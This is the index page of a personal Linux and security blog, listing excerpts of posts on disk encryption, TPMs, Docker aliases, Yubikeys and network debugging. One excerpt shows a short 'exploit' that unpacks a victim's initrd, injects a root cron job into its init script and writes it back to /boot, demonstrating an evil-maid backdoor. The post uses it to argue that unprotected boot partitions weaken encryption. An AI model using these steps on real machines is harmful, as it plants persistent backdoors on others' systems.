Blogs on debugging works! Linux · Code · Security

Full disk encryption on Windows

Mon, 07 Jul 2025 00:00:00 +0000

This is a follow-up of the How to TPM blog post. I read a bit more about FDE on Windows. Windows differs between “device encryption” used on devices running Windows Home edition and BitLocker available only on Windows Pro/Enterprise. Both variations rely on the TPM (binding PCR 7 and 11) and are automatically enabled by default. Technically, the encryption works the same way, but BitLocker gives you more configuration options.

I did some tests. I fresh-installed Windows 11 Home and I made the same experience like this person: During the installation, I was asked to log in to my Microsoft Account. I don’t have on. I used a common trick to bypass this, ending up using a local account.

Remote debugging an unbootable Linux

Sun, 22 Jun 2025 00:00:00 +0000

The resources of this post can be found on Github.

One of my friends had a problem with his laptop: It crashed when screensharing was enabled in a Zoom session. I like to empower people to use Linux, thus I’m also supporting them when they have problems. So I tried to help.

It was an old laptop running Ubuntu 22.04 LTS. Before looking into the screenshare issue, we used Teamviewer for a shared session to update the system to latest Ubuntu (24.04 LTS). Unfortunately, gdm3 (GNOME display manager) crashed during the update, so we didn’t know what was going on. After some time, we rebooted the device by hard resetting it. Then, the machine failed to boot:

The current state of full disk encryption is still not good (2025)

Wed, 18 Jun 2025 00:00:00 +0000

I gave a talk about the current state of full disk encryption at GPN23 (20.06.2025).

slides (pdf), submission, media.ccc.de, youtube

Submission / agenda

In theory, full disk encryption (FDE) just works. You just have to enable it. But in practice, cops get access to a lot of devices, even when they are encrypted.

FAQ: What is a TPM and how can I use it on Linux?

Sun, 01 Jun 2025 00:00:00 +0000

Update 2025/06: Adding feedback I got (jump)

Update 2025/07: Follow-up blog post with a bit more insights about Windows FDE (blog post)

TLDR: The goal of this text is to make TPMs usable for tech nerds (not only TPM experts). There are a lot of important details, but documentation is scattered. I explain the basics of TPMs and how you can use them on Linux for full disk encryption (conceptionally and with Linux hands-on examples). The commands can also be found in this Github gist.

GrapheneOS's auto reboot feature for Linux laptops

Wed, 07 May 2025 00:00:00 +0000

TLDR: I patched i3lock to update a file when I unlock my laptop. I wrote a tool monitoring this file. If it is not modified for a specific time, the daemon executes a kill switch command. As my system does not support hibernation, I implemented my own solution using cryptsetup luksSuspend. The source code can be found on Github.

On my laptop I wanted to have two security features:

hibernate with linux-hardened

When you suspend your system, the RAM keeps its power and its content. When you hibernate, the content of the RAM gets dumped into your (encrypted) swap file. To resume from hibernate on a system using full disk encryption, you have to enter your full disk encryption password first. That’s a nice protection from cold boot attacks. But, for security reasons hibernation is not available on Arch Linux when used with the linux-hardened kernel (Arch Linux Issue, blog post).

Docker: network debugging and firewalling

Wed, 02 Apr 2025 00:00:00 +0000

In general I like the nicolaka/netshoot image for troubleshooting. It has all the tools you need (ip, curl, …). It’s nice for network debugging used with docker run --network=container:$existing_running_containter. Then you have the same ip/traffic like the container you want to debug. If you’re looking for something like top but for containers, I recommend ctop. Just check the aliases below.

Some aliases

DOCKER_FORMAT="table {{ .Names }}\t{{ .Image }}\t{{ .Status }}\t{{ .Ports }}\t{{ .Names }}"

alias dl='docker ps --format "$DOCKER_FORMAT"'
alias dg='docker ps --format "{{ .Names }}" | rg $1'
alias ctop="docker run --rm --name ctop -v /var/run/docker.sock:/var/run/docker.sock -it nicolaka/netshoot ctop"

alias deb=docker_exec_bash
docker_exec_bash() {
    docker exec -it $1 bash
}

alias des=docker_exec_sh
docker_exec_sh() {
    docker exec -it $1 sh
}

alias den=network_debug
network_debug() { # docker exec network (run debug container with network of $1 container)
    docker run --rm --network=container:$1 -it nicolaka/netshoot
}

alias di=container_ips
container_ips() { # show all running containers and their ip addresses
for container in $(docker ps -q)
do
        docker inspect -f '{{ .Name }}: {{range.NetworkSettings.Networks}}{{.IPAddress}} {{end}}' $container;
done
}

Firewalling with Docker

Docker automatically adds iptables rules. When port forwarding is configured, it automatically opens ports in the firewall. Some ways to fix that:

Your Linux full disk encryption is useless

Wed, 11 Oct 2023 00:00:00 +0000

Update 2025-04: Fix typos and some smaller clarifications

So, you’re running Linux with full disk encryption (luks). You feel safe because nobody can access your data. The thing is, if I can modify your boot partition, you’re screwed. Not only can I log your password, but I can also simply deploy a backoor. To show you how easy it is, I will show you my “exploit”:

cp /boot/initrd.img-5.15.0-86-generic .
unmkinitramfs -v initrd.img-5.15.0-86-generic extracted/
cd extracted/main
sed -i 's/readonly=y/readonly=n/' init
sed -i '364 i echo '\''* * * * * root echo $(date) >> /tmp/hackhack'\'' > "${rootmnt}/etc/cron.d/hackhack"' init
find . | cpio -o -H newc > /boot/initrd.img-5.15.0-86-generic

How the “exploit” works

I take your laptop and boot into my live system
I mount the boot partition and extract the initrd (unmkinitramfs initrd.img-5.15.0-86-generic extracted/)
I add a backdoor and modify the init script (sed adds a line (a cronjob) at line 364)
I rebuild the initrd and overwrite the original one in /boot

Some background information

When you boot the system, the boot loader loads and extracts the kernel and initrd into memory. The initrd is just a small filesystem with /etc, /usr/bin, … At this point during boot, the initrd has two tasks:

How to Yubikey: a configuration cheatsheet

Wed, 01 Mar 2023 00:00:00 +0000

Update 2025/04: Add section “Disk encryption: LUKS + fido2 device”
Update 2025/04: Add section “Change FIDO2/U2F pin”

This post shows different use cases for a Yubikey. There are also command line examples in a cheatsheet like manner. I’m using a Yubikey 5C on Arch Linux. If you run into issues, try to use a newer version of ykman (part of yubikey-manager package on Arch).

kmille@linbox:~ ykman --version
YubiKey Manager (ykman) version: 4.0.9

Some features depend on the firmware version of the Yubikey. The tooling (like the wording) around the Yubikey is sometimes a bit confusing. I use this guide as a reference if I need to reconfigure something after a long time. It helped me in the past, so I made a clean rewrite. I hope it helps you too. Please get in contact with me if something is wrong/missing (Hacker News discussion).

How to debug a firejail sandbox

Sat, 24 Dec 2022 00:00:00 +0000

So, what it firejail? The website says:

Firejail is a SUID program that reduces the risk of security breaches by restricting the running environment of untrusted applications using Linux namespaces and seccomp-bpf. It allows a process and all its descendants to have their own private view of the globally shared kernel resources, such as the network stack, process table, mount table.

It’s basically an easy-to-use sandbox of the risk of running everything as root (because it’s a setuid binary, even if it drops privileges later). Here is a small example:

Kein Internet im Flixzug unter Linux

Thu, 24 Nov 2022 00:00:00 +0000

Ich sitze gerade im Flixzug und habe wieder das Problem, dass das Internet nicht funktioniert. Auf dem Handy klappt es wie immer problemlos. Was nicht klappt ist die AGBs vom Flixzug zu akzeptieren, um das Internet freigeschaltet zu bekommen. Auf dem Handy poppt einfach ein Browser-Fenster auf, in dem ich auf Akzeptieren klicken kann. Los ging die Debug-Session:

Firefox erkennt, dass es im WLAN ein Captive Portal gibt.

Dazu ruft Firefox eine vordefinierte URL auf, die normalerweise keinen Redirect (302) zurückgibt:

PoC: Implementing evil maid attack on encrypted /boot

Sun, 29 May 2022 00:00:00 +0000

I gave a talk at GPN20 about a proof of concept I wrote: an implementation of evil maid attack on devices with an encrypted /boot partition. It covers Linux using GRUB and LUKS. You’ll find the recording on YouTube. For more information and code checkout the Github repository.

You can also watch it on media.ccc.de.

How to analyze a core dump on Linux

Thu, 28 Jan 2021 00:00:00 +0000

Some tools, links and snippets for debugging software on (Arch) Linux

On Arch Linux, we get “unlimited” core dumps. They are stored in the /var/lib/systemd/coredump directory.

kmille@linbox:~ ulimit -c
unlimited
kmille@linbox:~ cat /proc/sys/kernel/core_pattern
|/usr/lib/systemd/systemd-coredump %P %u %g %s %t %c %h
kmille@linbox:~ file /var/lib/systemd/coredump/* | head -n 1
/var/lib/systemd/coredump/core.a\x2eout.1000.cb780d16ec3e434aaaa6a69c01e0abe8.1270928.1611849944000000.zst:      Zstandard compressed data (v0.8+), Dictionary ID: None

List the core dumps.

kmille@linbox:~ coredumpctl list

TIME                            PID   UID   GID SIG COREFILE  EXE
...
Wed 2021-01-27 15:02:03 CET  489025  1000   100  11 present   /usr/bin/urxvt
Wed 2021-01-27 15:19:08 CET  491085  1000   100  11 present   /usr/bin/urxvt
Wed 2021-01-27 15:20:53 CET  434557  1000   100  11 present   /usr/bin/urxvt
Wed 2021-01-27 16:39:27 CET  492570  1000   100  11 present   /usr/bin/urxvt
Wed 2021-01-27 18:50:17 CET  495418  1000   100  11 present   /usr/bin/urxvt
Wed 2021-01-27 18:51:12 CET  499149  1000   100  11 present   /usr/bin/urxvt

Dump the core file the current working directory.

Cheatsheet: network debugging on Linux

Sun, 16 Aug 2020 00:00:00 +0000

Some useful commands for network debugging on Linux.

Wireshark

… on remote host

ssh server 'tcpdump -ni any -s0 -U -w - udp port 53' | wireshark -k -i -

… on remote host over a jump server

ssh -J jumpserver server 'tcpdump -ni any -s0 -U -w - udp port 53' | wireshark -k -i -

… on remote host over a jump server (if the private key/ssh config for the target host lays only on the jump host)

Checklist: debugging IPsec on Linux

Sun, 16 Aug 2020 00:00:00 +0000

Why IPsec is hard to debug:

The fact that you see some plain text, but not all plain text, is the most confusing aspect of IPsec to system administrators, who now believe hey are leaking plain text.

The better you know how a system works the better you can debug it. So before debugging IPsec read this:

Phase 1

Firewall allows udp port 500 incoming? Outgoing traffic allowed?
Is there communication between the both IPsec gateways?
- Check it with tcpdump -ni any host <remote host>
- Are we sending packets to the remote endpoint?
- Is the remote endpoint talking to us?
- Are they both talking to each other? We had the problem: We speak IKEv1. They speak IKEv2. Our stack was too old to recognize IKEv2
Are both using the same proposals? You can use Wireshark to compare the parameters.
Any errors in tail -f /var/log/syslog?
Is the secret the same on both endpoints (prevent special characters on really old systems)?
We had problems using sha2 (the generated keys for phase2 where truncated at the wrong length) - use sha1 or sha512

Do you think it works?

How to solve hard (technical) problems

Sun, 16 Aug 2020 00:00:00 +0000

Finding the root cause of the problem

What’s the error message? Are there any log files?
- Read the error description. Every word of it. Twice.
- Is there a typo somewhere (command line/configuration/code)?
Try to get the issue reproducible
- Can you reproduce it from the command line?
  - It’s easier for other people to reproduce the issue
  - It’s easier to test the fix
Isolate the problem
- Remove some parts of the system and try to reproduce the bug
- Vary one thing at a time while keeping all other things constant

Issue still not fixed? Checklist

Does the problem occur only on a single server? The same thing runs flawless somewhere else?
- What’s the difference? Compare!
Can you increase the debug log?
What parts of the system do you not understand? Take your time and learn about it!
Do you have multiple issues? Try to solve the underlying issue first
Get a stable debugging environment
When did the problem occur first? What has changed?
Is it really a problem or intended behavior (security feature?)
Do some sanity checks
- Are you on the right virtual machine?
- Can you ping the target host?
- Is DNS still working?
- Check network traffic with ngrep/tcpdump. Do you see what you expect?
- Is one of the disks full?
- Are you editing the right file?
  - Write some garbage and try to compile
- Check the monitoring system
  - Do other VMs of the customer have problems?
  - Do other VMs running on the same hypervisor have problems?
  - Is the whole data center down?
- Is the customer logged in on the system? What is he doing (check bash_history and ps -u)?

After some time of debugging

Express the problem to a random teddy bear in an easy and comprehensive way
Be patient and accept that things just take longer than expected
Try to understand what happens. Not: endless trial and error guessing
- Is there documentation that can help you understanding the system?
- Talk to other people knowing the system better than you
Problem is not business critical? Set it aside
Take a break (go for a walk, do some exercises, …)
Step back: What’s the actual goal you are trying to achieve? What’s the problem?
You’re out of time and stuck on details?
- Use a different approach to solve your actual problem

If you copy/paste from Stackoverflow (we all do, at least sometimes)

Don’t copy/paste from Stackoverflow without understanding the actual problem
Don’t copy/paste from Stackoverflow without understanding the proposed solution
- If you don’t have time for it right now => make a note about it (even after solving it)
- If you don’t know what the command/tool is doing => read the man page (https://explainshell.com)
- Don’t copy/paste commands/code. Type it on your own!

After solving the issue

Well done! I’m glad you didn’t give up! It’s time to celebrate your success!
What have you learned during the journey?
What were the wrong assumptions?
Can prevent the problem from happening again in the future (write tests/docs, monitoring)?
How can you solve a similar problem in future even faster?

How to use bpftrace

Sun, 03 May 2020 00:00:00 +0000

So. What’s bpftrace?

bpftrace is a high-level tracing language for Linux enhanced Berkeley Packet Filter (eBPF) available in recent Linux kernels (4.x). bpftrace uses LLVM as a backend to compile scripts to BPF-bytecode and makes use of BCC for interacting with the Linux BPF system, as well as existing Linux tracing capabilities: kernel dynamic tracing (kprobes), user-level dynamic tracing (uprobes), and tracepoints. The bpftrace language is inspired by awk and C, and predecessor tracers such as DTrace and SystemTap. bpftrace was created by Alastair Robertson.

Hands-on: Linux Accept Queue

Thu, 30 Apr 2020 00:00:00 +0000

tldr: we use Apache Benchmark to send requests to an Apache + PHP-FPM backend while looking at the output of some performance analysis tools. Therefore I captured my terminal with asciinema. On heavy load Linux will queue packets to the Accept Queue. If the queue is full the kernel will drop packets. The source code is available on Github.

I recently experienced the following:

Monitoring said: haproxy backend is down
I tried to connect to the backend with curl -v and I could verify: I couldn’t establish a tcp connection
On on the server I checked
- Apache is running
- port 80 is open
- iptables ACCEPTs port 80
- still no tcp connection

The actual problem was the slow application behind Apache. The Accept Queue of Apache was full so the Linux kernel dropped SYN packets. Cloudflare published a fantastic blog post where they describe the insights of the Accept Queue (https://blog.cloudflare.com/syn-packet-handling-in-the-wild/). You should definitely read it before continuing.

How to debug a Linux Kernel Module

Sun, 26 Apr 2020 00:00:00 +0000

Build an example module

Let’s start by write a simple test module. We can try the Hello World example from cyberciti.biz You first have to install the kernel header files with apt-get install kernel-headers-$(uname -r).

Content of hello.c:

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
    printk(KERN_INFO "init_module() called\n");
    return 0;
}

void cleanup_module(void)
{
    printk(KERN_INFO "cleanup_module() called\n");
}

MODULE_LICENSE("GPL");

Content of Makefile:

obj-m := hello.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
    $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
clean:
    rm -rf *.ko
    rm -rf *.mod.c
    rm -rf *mod.o
    rm -rf *.o

Build and load, and unload the module:

Verifying a DKIM signature by hand

Fri, 17 Apr 2020 00:00:00 +0000

tldr: We take an email and verify the DKIM-Signature step by step using python. We also take care about the signing itself (RSA). The RSA part takes more place than originally planed. The whole code can be found on Github.

I recently had an issue with my DKIM signatures. I just got a ‘Signature wrong’ message and couldn’t find out what the problem was. So I decided to take a look into.

Lightning Talk: web development in Python (German)

Sat, 20 Oct 2018 00:00:00 +0000

I gave a short introduction about web development in Python (flask) at the Jugend hackt event in Berlin. It’s also available on media.ccc.de. The talk was held in German.

Blogs on debugging works! Linux · Code · Security

Full disk encryption on Windows

Remote debugging an unbootable Linux

The current state of full disk encryption is still not good (2025)

Submission / agenda

FAQ: What is a TPM and how can I use it on Linux?

GrapheneOS's auto reboot feature for Linux laptops

hibernate with linux-hardened

Docker: network debugging and firewalling

Some aliases

Firewalling with Docker

Your Linux full disk encryption is useless

How the “exploit” works

Some background information

How to Yubikey: a configuration cheatsheet

How to debug a firejail sandbox

Kein Internet im Flixzug unter Linux

PoC: Implementing evil maid attack on encrypted /boot

How to analyze a core dump on Linux

Some tools, links and snippets for debugging software on (Arch) Linux

Cheatsheet: network debugging on Linux

Wireshark

Checklist: debugging IPsec on Linux

Phase 1

How to solve hard (technical) problems

Meta

Finding the root cause of the problem

Issue still not fixed? Checklist

After some time of debugging

If you copy/paste from Stackoverflow (we all do, at least sometimes)

After solving the issue

How to use bpftrace

Hands-on: Linux Accept Queue

How to debug a Linux Kernel Module

Build an example module

Verifying a DKIM signature by hand

Lightning Talk: web development in Python (German)